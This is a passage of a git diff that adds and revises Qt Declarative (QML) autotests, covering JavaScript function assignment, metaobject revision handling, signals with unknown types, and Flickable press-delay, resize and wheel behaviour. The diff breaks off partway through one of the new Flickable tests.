diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.js b/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.js
new file mode 100644
index 0000000..14daa76
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.js
@@ -0,0 +1,17 @@
+function bindProperty()
+{
+    a = (function(){ return aNumber * 10 })
+}
+
+
+function TestObject() { }
+TestObject.prototype.aNumber = 928349
+TestObject.prototype.bindFunction = function() {
+    return this.aNumber * 10        // this should not use the TestObject's aNumber
+}
+var testObj = new TestObject()
+
+function bindPropertyWithThis()
+{
+    a = testObj.bindFunction
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision.qml b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision.qml
new file mode 100644
index 0000000..77accd8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision.qml
@@ -0,0 +1,7 @@
+import Qt.test 1.1
+
+MyRevisionedClass
+{
+    prop1: prop2
+    onSignal1: method2()
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision2.qml
new file mode 100644
index 0000000..36057cb
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision2.qml
@@ -0,0 +1,9 @@
+import Qt.test 1.1
+
+MyRevisionedSubclass
+{
+    prop1: prop3
+    onSignal1: method2()
+    prop3: prop4
+    onSignal3: method4()
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision3.qml b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision3.qml
new file mode 100644
index 0000000..81769e9
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision3.qml
@@ -0,0 +1,8 @@
+import Qt.test 1.0
+
+MyRevisionedSubclass
+{
+    prop1: prop3
+    onSignal1: method1()
+    onSignal3: method3()
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision4.qml b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision4.qml
new file mode 100644
index 0000000..81ea536
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision4.qml
@@ -0,0 +1,14 @@
+import Qt.test 1.1
+import QtQuick 1.0
+
+QtObject {
+    property variant a
+    property real test
+
+    a: MyRevisionedClass {
+        prop2: 11
+
+        Component.onCompleted: test = prop2
+    }
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors.qml b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors.qml
new file mode 100644
index 0000000..44d421e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+import Qt.test 1.0
+
+MyRevisionedClass
+{
+    // Will not hit optimizer
+    property real p1: prop1 % 3
+    property real p2: prop2 % 3
+
+    // Should hit optimizer
+    property real p3: prop2
+
+    Component.onCompleted: method2()
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors2.qml
new file mode 100644
index 0000000..121642e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors2.qml
@@ -0,0 +1,24 @@
+import QtQuick 1.0
+import Qt.test 1.0
+
+MyRevisionedSubclass
+{
+    // Will not hit optimizer
+    property real p1: prop1 % 3
+    property real p2: prop2 % 3
+    property real p3: prop3 % 3
+    property real p4: prop4 % 3
+
+    // Should hit optimizer
+    property real p5: prop1
+    property real p6: prop2
+    property real p7: prop3
+    property real p8: prop4
+
+    Component.onCompleted: {
+        method1()
+        method2()
+        method3()
+        method4()
+    }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors3.qml b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors3.qml
new file mode 100644
index 0000000..123650e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors3.qml
@@ -0,0 +1,36 @@
+import QtQuick 1.0
+import Qt.test 1.1
+
+MyRevisionedSubclass
+{
+    // Will not hit optimizer
+    property real pA: propA % 3
+    property real pB: propB % 3
+    property real pC: propC % 3
+    property real pD: propD % 3
+    property real p1: prop1 % 3
+    property real p2: prop2 % 3
+    property real p3: prop3 % 3
+    property real p4: prop4 % 3
+
+    // Should hit optimizer
+    property real pE: propA
+    property real pF: propB
+    property real pG: propC
+    property real pH: propD
+    property real p5: prop1
+    property real p6: prop2
+    property real p7: prop3
+    property real p8: prop4
+
+    Component.onCompleted: {
+        methodA()
+        methodB()
+        methodC()
+        methodD()
+        method1()
+        method2()
+        method3()
+        method4()
+    }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/nonExistantAttachedObject.qml b/tests/auto/declarative/qdeclarativeecmascript/data/nonExistentAttachedObject.qml
index f9585db..f9585db 100644
--- a/tests/auto/declarative/qdeclarativeecmascript/data/nonExistantAttachedObject.qml
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/nonExistentAttachedObject.qml
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/signalWithUnknownTypes.qml b/tests/auto/declarative/qdeclarativeecmascript/data/signalWithUnknownTypes.qml
new file mode 100644
index 0000000..49293ed
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/signalWithUnknownTypes.qml
@@ -0,0 +1,5 @@
+import Qt.test 1.0
+
+MyQmlObject {
+    onSignalWithUnknownType: variantMethod(arg);
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/testtypes.cpp b/tests/auto/declarative/qdeclarativeecmascript/testtypes.cpp
index 1257da6..7e63bd5 100644
--- a/tests/auto/declarative/qdeclarativeecmascript/testtypes.cpp
+++ b/tests/auto/declarative/qdeclarativeecmascript/testtypes.cpp
@@ -113,9 +113,20 @@ void registerTypes()
     qmlRegisterType<NumberAssignment>("Qt.test", 1,0, "NumberAssignment");
     qmlRegisterExtendedType<DefaultPropertyExtendedObject, DefaultPropertyExtensionObject>("Qt.test", 1,0, "DefaultPropertyExtendedObject");
     qmlRegisterType<OverrideDefaultPropertyObject>("Qt.test", 1,0, "OverrideDefaultPropertyObject");
+    qmlRegisterType<MyRevisionedClass>("Qt.test",1,0,"MyRevisionedClass");
+    qmlRegisterType<MyRevisionedClass,1>("Qt.test",1,1,"MyRevisionedClass");
+
+    // Register the uncreatable base class
+    qmlRegisterRevision<MyRevisionedBaseClassRegistered,1>("Qt.test",1,1);
+    // MyRevisionedSubclass 1.0 uses MyRevisionedClass revision 0
+    qmlRegisterType<MyRevisionedSubclass>("Qt.test",1,0,"MyRevisionedSubclass");
+    // MyRevisionedSubclass 1.1 uses MyRevisionedClass revision 1
+    qmlRegisterType<MyRevisionedSubclass,1>("Qt.test",1,1,"MyRevisionedSubclass");
 
     qmlRegisterExtendedType<QWidget,QWidgetDeclarativeUI>("Qt.test",1,0,"QWidget");
     qmlRegisterType<QPlainTextEdit>("Qt.test",1,0,"QPlainTextEdit");
+
+    qRegisterMetaType<MyQmlObject::MyType>("MyQmlObject::MyType");
 }
 
 #include "testtypes.moc"
diff --git a/tests/auto/declarative/qdeclarativeecmascript/testtypes.h b/tests/auto/declarative/qdeclarativeecmascript/testtypes.h
index 6c6ad1f..081cc4c 100644
--- a/tests/auto/declarative/qdeclarativeecmascript/testtypes.h
+++ b/tests/auto/declarative/qdeclarativeecmascript/testtypes.h
@@ -152,6 +152,11 @@ public:
     MyQmlObject *myinvokableObject;
     Q_INVOKABLE MyQmlObject *returnme() { return this; }
 
+    struct MyType {
+        int value;
+    };
+    QVariant variant() const { return m_variant; }
+    
 signals:
     void basicSignal();
     void argumentSignal(int a, QString b, qreal c);
@@ -159,6 +164,7 @@ signals:
     void objectChanged();
     void anotherBasicSignal();
     void thirdBasicSignal();
+    void signalWithUnknownType(const MyQmlObject::MyType &arg);
 
 public slots:
     void deleteMe() { delete this; }
@@ -166,6 +172,7 @@ public slots:
     void method(int a) { if(a == 163) m_methodIntCalled = true; }
     void setString(const QString &s) { m_string = s; }
     void myinvokable(MyQmlObject *o) { myinvokableObject = o; }
+    void variantMethod(const QVariant &v) { m_variant = v; }
 
 private:
     friend class tst_qdeclarativeecmascript;
@@ -178,6 +185,7 @@ private:
     int m_value;
     int m_resetProperty;
     QRegExp m_regExp;
+    QVariant m_variant;
 };
 
 QML_DECLARE_TYPEINFO(MyQmlObject, QML_HAS_ATTACHED_PROPERTIES)
@@ -738,6 +746,168 @@ public:
     OverrideDefaultPropertyObject() {}
 };
 
+class MyRevisionedBaseClassRegistered : public QObject
+{
+Q_OBJECT
+    Q_PROPERTY(qreal propA READ propA WRITE setPropA NOTIFY propAChanged)
+    Q_PROPERTY(qreal propB READ propB WRITE setPropB NOTIFY propBChanged REVISION 1)
+
+public:
+    MyRevisionedBaseClassRegistered() : m_pa(1), m_pb(2) {}
+
+    qreal propA() const { return m_pa; }
+    void setPropA(qreal p) {
+        if (p != m_pa) {
+            m_pa = p;
+            emit propAChanged();
+        }
+    }
+    qreal propB() const { return m_pb; }
+    void setPropB(qreal p) {
+        if (p != m_pb) {
+            m_pb = p;
+            emit propBChanged();
+        }
+    }
+
+    Q_INVOKABLE void methodA() { }
+    Q_INVOKABLE Q_REVISION(1) void methodB() { }
+
+signals:
+    void propAChanged();
+    void propBChanged();
+
+    void signalA();
+    Q_REVISION(1) void signalB();
+
+protected:
+    qreal m_pa;
+    qreal m_pb;
+};
+
+class MyRevisionedBaseClassUnregistered : public MyRevisionedBaseClassRegistered
+{
+Q_OBJECT
+    Q_PROPERTY(qreal propC READ propC WRITE setPropC NOTIFY propCChanged)
+    Q_PROPERTY(qreal propD READ propD WRITE setPropD NOTIFY propDChanged REVISION 1)
+
+public:
+    MyRevisionedBaseClassUnregistered() : m_pc(1), m_pd(2) {}
+
+    qreal propC() const { return m_pc; }
+    void setPropC(qreal p) {
+        if (p != m_pc) {
+            m_pc = p;
+            emit propCChanged();
+        }
+    }
+    qreal propD() const { return m_pd; }
+    void setPropD(qreal p) {
+        if (p != m_pd) {
+            m_pd = p;
+            emit propDChanged();
+        }
+    }
+
+    Q_INVOKABLE void methodC() { }
+    Q_INVOKABLE Q_REVISION(1) void methodD() { }
+
+signals:
+    void propCChanged();
+    void propDChanged();
+
+    void signalC();
+    Q_REVISION(1) void signalD();
+
+protected:
+    qreal m_pc;
+    qreal m_pd;
+};
+
+class MyRevisionedClass : public MyRevisionedBaseClassUnregistered
+{
+    Q_OBJECT
+    Q_PROPERTY(qreal prop1 READ prop1 WRITE setProp1 NOTIFY prop1Changed)
+    Q_PROPERTY(qreal prop2 READ prop2 WRITE setProp2 NOTIFY prop2Changed REVISION 1)
+
+public:
+    MyRevisionedClass() {}
+
+    qreal prop1() const { return m_p1; }
+    void setProp1(qreal p) {
+        if (p != m_p1) {
+            m_p1 = p;
+            emit prop1Changed();
+        }
+    }
+    qreal prop2() const { return m_p2; }
+    void setProp2(qreal p) {
+        if (p != m_p2) {
+            m_p2 = p;
+            emit prop2Changed();
+        }
+    }
+
+    Q_INVOKABLE void method1() { }
+    Q_INVOKABLE Q_REVISION(1) void method2() { }
+
+signals:
+    void prop1Changed();
+    void prop2Changed();
+
+    void signal1();
+    Q_REVISION(1) void signal2();
+
+protected:
+    qreal m_p1;
+    qreal m_p2;
+};
+
+class MyRevisionedSubclass : public MyRevisionedClass
+{
+    Q_OBJECT
+    Q_PROPERTY(qreal prop3 READ prop3 WRITE setProp3 NOTIFY prop3Changed)
+    Q_PROPERTY(qreal prop4 READ prop4 WRITE setProp4 NOTIFY prop4Changed REVISION 1)
+
+public:
+    MyRevisionedSubclass() : m_p3(3), m_p4(4) {}
+
+    qreal prop3() const { return m_p3; }
+    void setProp3(qreal p) {
+        if (p != m_p3) {
+            m_p3 = p;
+            emit prop3Changed();
+        }
+    }
+    qreal prop4() const { return m_p4; }
+    void setProp4(qreal p) {
+        if (p != m_p4) {
+            m_p4 = p;
+            emit prop4Changed();
+        }
+    }
+
+    Q_INVOKABLE void method3() { }
+    Q_INVOKABLE Q_REVISION(1) void method4() { }
+
+signals:
+    void prop3Changed();
+    void prop4Changed();
+
+    void signal3();
+    Q_REVISION(1) void signal4();
+
+protected:
+    qreal m_p3;
+    qreal m_p4;
+};
+
+QML_DECLARE_TYPE(MyRevisionedBaseClassRegistered)
+QML_DECLARE_TYPE(MyRevisionedBaseClassUnregistered)
+QML_DECLARE_TYPE(MyRevisionedClass)
+QML_DECLARE_TYPE(MyRevisionedSubclass)
+Q_DECLARE_METATYPE(MyQmlObject::MyType)
+
 void registerTypes();
 
 #endif // TESTTYPES_H
diff --git a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp
index 034adf7..40b0e1b 100644
--- a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp
+++ b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp
@@ -50,6 +50,7 @@
 #include <QtCore/qnumeric.h>
 #include <private/qdeclarativeengine_p.h>
 #include <private/qdeclarativeglobalscriptclass_p.h>
+#include <private/qscriptdeclarativeclass_p.h>
 #include "testtypes.h"
 #include "testhttpserver.h"
 #include "../../../shared/util.h"
@@ -105,7 +106,7 @@ private slots:
     void constantsOverrideBindings();
     void outerBindingOverridesInnerBinding();
     void aliasPropertyAndBinding();
-    void nonExistantAttachedObject();
+    void nonExistentAttachedObject();
     void scope();
     void signalParameterTypes();
     void objectsCompareAsEqual();
@@ -142,6 +143,7 @@ private slots:
     void compiled();
     void numberAssignment();
     void propertySplicing();
+    void signalWithUnknownTypes();
 
     void bug1();
     void bug2();
@@ -155,7 +157,10 @@ private slots:
     void qtcreatorbug_1289();
     void noSpuriousWarningsAtShutdown();
     void canAssignNullToQObject();
-    void functionAssignment();
+    void functionAssignment_fromBinding();
+    void functionAssignment_fromJS();
+    void functionAssignment_fromJS_data();
+    void functionAssignmentfromJS_invalid();
     void eval();
     void function();
     void qtbug_10696();
@@ -170,12 +175,16 @@ private slots:
     void aliasBindingsAssignCorrectly();
     void aliasBindingsOverrideTarget();
     void aliasWritesOverrideBindings();
+    void pushCleanContext();
 
     void include();
 
     void callQtInvokables();
     void invokableObjectArg();
     void invokableObjectRet();
+
+    void revisionErrors();
+    void revision();
 private:
     QDeclarativeEngine engine;
 };
@@ -643,7 +652,7 @@ void tst_qdeclarativeecmascript::attachedProperties()
 
 void tst_qdeclarativeecmascript::enums()
 {
-    // Existant enums
+    // Existent enums
     {
     QDeclarativeComponent component(&engine, TEST_FILE("enums.1.qml"));
     QObject *object = component.create();
@@ -785,9 +794,9 @@ Access a non-existent attached object.
 
 Tests for a regression where this used to crash.
 */
-void tst_qdeclarativeecmascript::nonExistantAttachedObject()
+void tst_qdeclarativeecmascript::nonExistentAttachedObject()
 {
-    QDeclarativeComponent component(&engine, TEST_FILE("nonExistantAttachedObject.qml"));
+    QDeclarativeComponent component(&engine, TEST_FILE("nonExistentAttachedObject.qml"));
 
     QString warning = component.url().toString() + ":4: Unable to assign [undefined] to QString stringProperty";
     QTest::ignoreMessage(QtWarningMsg, qPrintable(warning));
@@ -2334,6 +2343,26 @@ void tst_qdeclarativeecmascript::propertySplicing()
     delete object;
 }
 
+// QTBUG-16683
+void tst_qdeclarativeecmascript::signalWithUnknownTypes()
+{
+    QDeclarativeComponent component(&engine, TEST_FILE("signalWithUnknownTypes.qml"));
+
+    MyQmlObject *object = qobject_cast<MyQmlObject *>(component.create());
+    QVERIFY(object != 0);
+
+    MyQmlObject::MyType type;
+    type.value = 0x8971123;
+    emit object->signalWithUnknownType(type);
+
+    MyQmlObject::MyType result = qvariant_cast<MyQmlObject::MyType>(object->variant());
+
+    QCOMPARE(result.value, type.value);
+
+
+    delete object;
+}
+
 // Test that assigning a null object works 
 // Regressed with: df1788b4dbbb2826ae63f26bdf166342595343f4
 void tst_qdeclarativeecmascript::nullObjectBinding()
@@ -2511,9 +2540,8 @@ void tst_qdeclarativeecmascript::canAssignNullToQObject()
     }
 }
 
-void tst_qdeclarativeecmascript::functionAssignment()
+void tst_qdeclarativeecmascript::functionAssignment_fromBinding()
 {
-    {
     QDeclarativeComponent component(&engine, TEST_FILE("functionAssignment.1.qml"));
 
     QString url = component.url().toString();
@@ -2526,26 +2554,64 @@ void tst_qdeclarativeecmascript::functionAssignment()
     QVERIFY(!o->property("a").isValid());
 
     delete o;
-    }
+}
+
+void tst_qdeclarativeecmascript::functionAssignment_fromJS()
+{
+    QFETCH(QString, triggerProperty);
 
-    {
     QDeclarativeComponent component(&engine, TEST_FILE("functionAssignment.2.qml"));
+    QVERIFY2(component.errorString().isEmpty(), qPrintable(component.errorString()));
 
     MyQmlObject *o = qobject_cast<MyQmlObject *>(component.create());
     QVERIFY(o != 0);
+    QVERIFY(!o->property("a").isValid());
+
+    o->setProperty("aNumber", QVariant(5));
+    o->setProperty(triggerProperty.toUtf8().constData(), true);
+    QCOMPARE(o->property("a"), QVariant(50));
 
+    o->setProperty("aNumber", QVariant(10));
+    QCOMPARE(o->property("a"), QVariant(100));
+
+    delete o;
+}
+
+void tst_qdeclarativeecmascript::functionAssignment_fromJS_data()
+{
+    QTest::addColumn<QString>("triggerProperty");
+
+    QTest::newRow("assign to property") << "assignToProperty";
+    QTest::newRow("assign to property, from JS file") << "assignToPropertyFromJsFile";
+
+    QTest::newRow("assign to value type") << "assignToValueType";
+
+    QTest::newRow("use 'this'") << "assignWithThis";
+    QTest::newRow("use 'this' from JS file") << "assignWithThisFromJsFile";
+}
+
+void tst_qdeclarativeecmascript::functionAssignmentfromJS_invalid()
+{
+    QDeclarativeComponent component(&engine, TEST_FILE("functionAssignment.2.qml"));
+    QVERIFY2(component.errorString().isEmpty(), qPrintable(component.errorString()));
+
+    MyQmlObject *o = qobject_cast<MyQmlObject *>(component.create());
+    QVERIFY(o != 0);
     QVERIFY(!o->property("a").isValid());
-    
+
+    o->setProperty("assignFuncWithoutReturn", true);
+    QVERIFY(!o->property("a").isValid());
+
     QString url = component.url().toString();
-    QString warning = url + ":10: Error: Cannot assign a function to a property.";
+    QString warning = url + ":63: Unable to assign QString to int";
     QTest::ignoreMessage(QtWarningMsg, warning.toLatin1().constData());
-    
-    o->setProperty("runTest", true);
-    
-    QVERIFY(!o->property("a").isValid());
+    o->setProperty("assignWrongType", true);
+
+    warning = url + ":70: Unable to assign QString to int";
+    QTest::ignoreMessage(QtWarningMsg, warning.toLatin1().constData());
+    o->setProperty("assignWrongTypeToValueType", true);
 
     delete o;
-    }
 }
 
 void tst_qdeclarativeecmascript::eval()
@@ -2863,6 +2929,132 @@ void tst_qdeclarativeecmascript::aliasWritesOverrideBindings()
     }
 }
 
+void tst_qdeclarativeecmascript::revisionErrors()
+{
+    {
+        QDeclarativeComponent component(&engine, TEST_FILE("metaobjectRevisionErrors.qml"));
+        QString url = component.url().toString();
+
+        QString warning1 = url + ":8: ReferenceError: Can't find variable: prop2";
+        QString warning2 = url + ":11: ReferenceError: Can't find variable: prop2";
+        QString warning3 = url + ":13: ReferenceError: Can't find variable: method2";
+
+        QTest::ignoreMessage(QtWarningMsg, warning1.toLatin1().constData());
+        QTest::ignoreMessage(QtWarningMsg, warning2.toLatin1().constData());
+        QTest::ignoreMessage(QtWarningMsg, warning3.toLatin1().constData());
+        MyRevisionedClass *object = qobject_cast<MyRevisionedClass *>(component.create());
+        QVERIFY(object != 0);
+    }
+    {
+        QDeclarativeComponent component(&engine, TEST_FILE("metaobjectRevisionErrors2.qml"));
+        QString url = component.url().toString();
+
+        // MyRevisionedSubclass 1.0 uses MyRevisionedClass revision 0
+        // method2, prop2 from MyRevisionedClass not available
+        // method4, prop4 from MyRevisionedSubclass not available
+        QString warning1 = url + ":8: ReferenceError: Can't find variable: prop2";
+        QString warning2 = url + ":14: ReferenceError: Can't find variable: prop2";
+        QString warning3 = url + ":10: ReferenceError: Can't find variable: prop4";
+        QString warning4 = url + ":16: ReferenceError: Can't find variable: prop4";
+        QString warning5 = url + ":20: ReferenceError: Can't find variable: method2";
+
+        QTest::ignoreMessage(QtWarningMsg, warning1.toLatin1().constData());
+        QTest::ignoreMessage(QtWarningMsg, warning2.toLatin1().constData());
+        QTest::ignoreMessage(QtWarningMsg, warning3.toLatin1().constData());
+        QTest::ignoreMessage(QtWarningMsg, warning4.toLatin1().constData());
+        QTest::ignoreMessage(QtWarningMsg, warning5.toLatin1().constData());
+        MyRevisionedClass *object = qobject_cast<MyRevisionedClass *>(component.create());
+        QVERIFY(object != 0);
+    }
+    {
+        QDeclarativeComponent component(&engine, TEST_FILE("metaobjectRevisionErrors3.qml"));
+        QString url = component.url().toString();
+
+        // MyRevisionedSubclass 1.1 uses MyRevisionedClass revision 1
+        // All properties/methods available, except MyRevisionedBaseClassUnregistered rev 1
+        QString warning1 = url + ":30: ReferenceError: Can't find variable: methodD";
+        QString warning2 = url + ":10: ReferenceError: Can't find variable: propD";
+        QString warning3 = url + ":20: ReferenceError: Can't find variable: propD";
+        QTest::ignoreMessage(QtWarningMsg, warning1.toLatin1().constData());
+        QTest::ignoreMessage(QtWarningMsg, warning2.toLatin1().constData());
+        QTest::ignoreMessage(QtWarningMsg, warning3.toLatin1().constData());
+        MyRevisionedClass *object = qobject_cast<MyRevisionedClass *>(component.create());
+        QVERIFY(object != 0);
+    }
+}
+
+void tst_qdeclarativeecmascript::revision()
+{
+    {
+        QDeclarativeComponent component(&engine, TEST_FILE("metaobjectRevision.qml"));
+        QString url = component.url().toString();
+
+        MyRevisionedClass *object = qobject_cast<MyRevisionedClass *>(component.create());
+        QVERIFY(object != 0);
+    }
+    {
+        QDeclarativeComponent component(&engine, TEST_FILE("metaobjectRevision2.qml"));
+        QString url = component.url().toString();
+
+        MyRevisionedClass *object = qobject_cast<MyRevisionedClass *>(component.create());
+        QVERIFY(object != 0);
+    }
+    {
+        QDeclarativeComponent component(&engine, TEST_FILE("metaobjectRevision3.qml"));
+        QString url = component.url().toString();
+
+        MyRevisionedClass *object = qobject_cast<MyRevisionedClass *>(component.create());
+        QVERIFY(object != 0);
+    }
+    // Test that non-root classes can resolve revisioned methods
+    {
+        QDeclarativeComponent component(&engine, TEST_FILE("metaobjectRevision4.qml"));
+
+        QObject *object = component.create();
+        QVERIFY(object != 0);
+        QCOMPARE(object->property("test").toReal(), 11.);
+        delete object;
+    }
+}
+
+// Test for QScriptDeclarativeClass::pushCleanContext()
+void tst_qdeclarativeecmascript::pushCleanContext()
+{
+    QScriptEngine engine;
+    engine.globalObject().setProperty("a", 6);
+    QCOMPARE(engine.evaluate("a").toInt32(), 6);
+
+    // First confirm pushContext() behaves as we expect
+    QScriptValue object = engine.newObject();
+    object.setProperty("a", 15);
+    QScriptContext *context1 = engine.pushContext();
+    context1->pushScope(object);
+    QCOMPARE(engine.evaluate("a").toInt32(), 15);
+
+    QScriptContext *context2 = engine.pushContext();
+    Q_UNUSED(context2);
+    QCOMPARE(engine.evaluate("a").toInt32(), 15);
+    QScriptValue func1 = engine.evaluate("(function() { return a; })");
+
+    // Now check that pushCleanContext() works
+    QScriptDeclarativeClass::pushCleanContext(&engine);
+    QCOMPARE(engine.evaluate("a").toInt32(), 6);
+    QScriptValue func2 = engine.evaluate("(function() { return a; })");
+
+    engine.popContext();
+    QCOMPARE(engine.evaluate("a").toInt32(), 15);
+
+    engine.popContext();
+    QCOMPARE(engine.evaluate("a").toInt32(), 15);
+
+    engine.popContext();
+    QCOMPARE(engine.evaluate("a").toInt32(), 6);
+
+    // Check that function objects created in these contexts work
+    QCOMPARE(func1.call().toInt32(), 15);
+    QCOMPARE(func2.call().toInt32(), 6);
+}
+
 QTEST_MAIN(tst_qdeclarativeecmascript)
 
 #include "tst_qdeclarativeecmascript.moc"
diff --git a/tests/auto/declarative/qdeclarativeflickable/data/nestedPressDelay.qml b/tests/auto/declarative/qdeclarativeflickable/data/nestedPressDelay.qml
new file mode 100644
index 0000000..d0ee545
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeflickable/data/nestedPressDelay.qml
@@ -0,0 +1,33 @@
+import QtQuick 1.0
+
+Flickable {
+    property bool pressed: ma.pressed
+    width: 240
+    height: 320
+    contentWidth: 480
+    contentHeight: 320
+    flickableDirection: Flickable.HorizontalFlick
+    pressDelay: 50
+    Flickable {
+        objectName: "innerFlickable"
+        flickableDirection: Flickable.VerticalFlick
+        width: 480
+        height: 320
+        contentWidth: 480
+        contentHeight: 400
+        pressDelay: 10000
+        Rectangle {
+            y: 100
+            anchors.horizontalCenter: parent.horizontalCenter
+            width: 240
+            height: 100
+            color: ma.pressed ? 'blue' : 'green'
+            MouseArea {
+                id: ma
+                objectName: "mouseArea"
+                anchors.fill: parent
+            }
+        }
+    }
+}
+
diff --git a/tests/auto/declarative/qdeclarativeflickable/data/resize.qml b/tests/auto/declarative/qdeclarativeflickable/data/resize.qml
new file mode 100644
index 0000000..e2abb99
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeflickable/data/resize.qml
@@ -0,0 +1,27 @@
+import QtQuick 1.1
+
+Rectangle {
+    function resizeContent() {
+        flick.resizeContent(600, 600, Qt.point(100, 100))
+    }
+    function returnToBounds() {
+        flick.returnToBounds()
+    }
+    width: 400
+    height: 360
+    color: "gray"
+
+    Flickable {
+        id: flick
+        objectName: "flick"
+        anchors.fill: parent
+        contentWidth: 300
+        contentHeight: 300
+
+        Rectangle {
+            width: flick.contentWidth
+            height: flick.contentHeight
+            color: "red"
+        }
+    }
+}
diff --git a/tests/auto/declarative/qdeclarativeflickable/data/wheel.qml b/tests/auto/declarative/qdeclarativeflickable/data/wheel.qml
new file mode 100644
index 0000000..6ea81b2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeflickable/data/wheel.qml
@@ -0,0 +1,21 @@
+import QtQuick 1.1
+
+Rectangle {
+    width: 400
+    height: 400
+    color: "gray"
+
+    Flickable {
+        id: flick
+        objectName: "flick"
+        anchors.fill: parent
+        contentWidth: 800
+        contentHeight: 800
+
+        Rectangle {
+            width: flick.contentWidth
+            height: flick.contentHeight
+            color: "red"
+        }
+    }
+}
diff --git a/tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp b/tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp
index 1bf93ee..736f8f4 100644
--- a/tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp
+++ b/tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp
@@ -42,10 +42,12 @@
 #include <QtTest/QSignalSpy>
 #include <QtDeclarative/qdeclarativeengine.h>
 #include <QtDeclarative/qdeclarativecomponent.h>
+#include <QtDeclarative/qdeclarativeview.h>
 #include <private/qdeclarativeflickable_p.h>
 #include <private/qdeclarativevaluetype_p.h>
 #include <QtGui/qgraphicswidget.h>
 #include <math.h>
+#include "../../../shared/util.h"
 
 #ifdef Q_OS_SYMBIAN
 // In Symbian OS test data is located in applications private dir
@@ -67,8 +69,14 @@ private slots:
     void maximumFlickVelocity();
     void flickDeceleration();
     void pressDelay();
+    void nestedPressDelay();
     void flickableDirection();
     void qgraphicswidget();
+    void resizeContent();
+    void returnToBounds();
+    void testQtQuick11Attributes();
+    void testQtQuick11Attributes_data();
+    void wheel();
 
 private:
     QDeclarativeEngine engine;
@@ -239,6 +247,34 @@ void tst_qdeclarativeflickable::pressDelay()
     QCOMPARE(spy.count(),1);
 }
 
+// QTBUG-17361
+void tst_qdeclarativeflickable::nestedPressDelay()
+{
+    QDeclarativeView *canvas = new QDeclarativeView;
+    canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/nestedPressDelay.qml"));
+    canvas->show();
+    canvas->setFocus();
+    QVERIFY(canvas->rootObject() != 0);
+
+    QDeclarativeFlickable *outer = qobject_cast<QDeclarativeFlickable*>(canvas->rootObject());
+    QVERIFY(outer != 0);
+
+    QDeclarativeFlickable *inner = canvas->rootObject()->findChild<QDeclarativeFlickable*>("innerFlickable");
+    QVERIFY(inner != 0);
+
+    QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(150, 150)));
+    // the MouseArea is not pressed immediately
+    QVERIFY(outer->property("pressed").toBool() == false);
+
+    // The outer pressDelay will prevail (50ms, vs. 10sec)
+    QTest::qWait(300);
+    QVERIFY(outer->property("pressed").toBool() == true);
+
+    QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(150, 150)));
+
+    delete canvas;
+}
+
 void tst_qdeclarativeflickable::flickableDirection()
 {
     QDeclarativeComponent component(&engine);
@@ -277,6 +313,135 @@ void tst_qdeclarativeflickable::qgraphicswidget()
     QVERIFY(widget);
 }
 
+// QtQuick 1.1
+void tst_qdeclarativeflickable::resizeContent()
+{
+    QDeclarativeEngine engine;
+    QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/resize.qml"));
+    QDeclarativeItem *root = qobject_cast<QDeclarativeItem*>(c.create());
+    QDeclarativeFlickable *obj = findItem<QDeclarativeFlickable>(root, "flick");
+
+    QVERIFY(obj != 0);
+    QCOMPARE(obj->contentX(), 0.);
+    QCOMPARE(obj->contentY(), 0.);
+    QCOMPARE(obj->contentWidth(), 300.);
+    QCOMPARE(obj->contentHeight(), 300.);
+
+    QMetaObject::invokeMethod(root, "resizeContent");
+
